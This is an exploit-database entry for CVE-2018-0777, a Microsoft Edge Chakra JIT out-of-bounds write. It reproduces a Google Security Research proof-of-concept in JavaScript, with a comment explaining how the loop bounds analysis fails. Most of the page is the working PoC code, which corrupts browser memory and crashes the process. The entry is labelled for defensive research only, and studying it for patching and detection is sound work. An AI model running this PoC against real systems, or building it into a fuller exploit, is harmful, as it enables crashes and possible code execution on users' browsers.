Materialized exploit

CVE-2018-0777

HIGH

1 public exploit(s) for this CVE, 1 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.

ExploitDB dos windows Verified

Source

Microsoft Edge Chakra JIT - Out-of-Bounds Write

By Google Security Research

How to test this exploit

Denial of service: sends malformed input to crash the service. Test in an isolated VM, the effect is destructive.

Code js

// Here's the PoC demonstrating OOB write.

function opt(arr, start, end) {
    for (let i = start; i < end; i++) {
        if (i === 10) {
            i += 0;  // <<-- (a)
        }
        arr[i] = 2.3023e-320;
    }
}

function main() {
    let arr = new Array(100);
    arr.fill(1.1);

    for (let i = 0; i < 1000; i++)
        opt(arr, 0, 3);

    opt(arr, 0, 100000);
}

main();

/*
What happens here is as follows:
In the loop prepass analysis, (a) is a valid add operation. It's a relative operation to "i", so Chakra thinks it's a valid loop. The variable "i" now becomes an induction variable, and a LoopCount object is created. When the LoopCount object is created, the ValueInfo of "i" is IntBounded which contains relative bounds information.
In the actual optimization phase, (a) gets optimized and becomes a load operation which directly loads 10 to "i". It's no more relative operation, therefore the ValueInfo of "i" is not to be IntBounded. But the LoopCount object has already been created with the previous information. This leads Chakra to fail computing bounds which may result in OOB read/write.
*/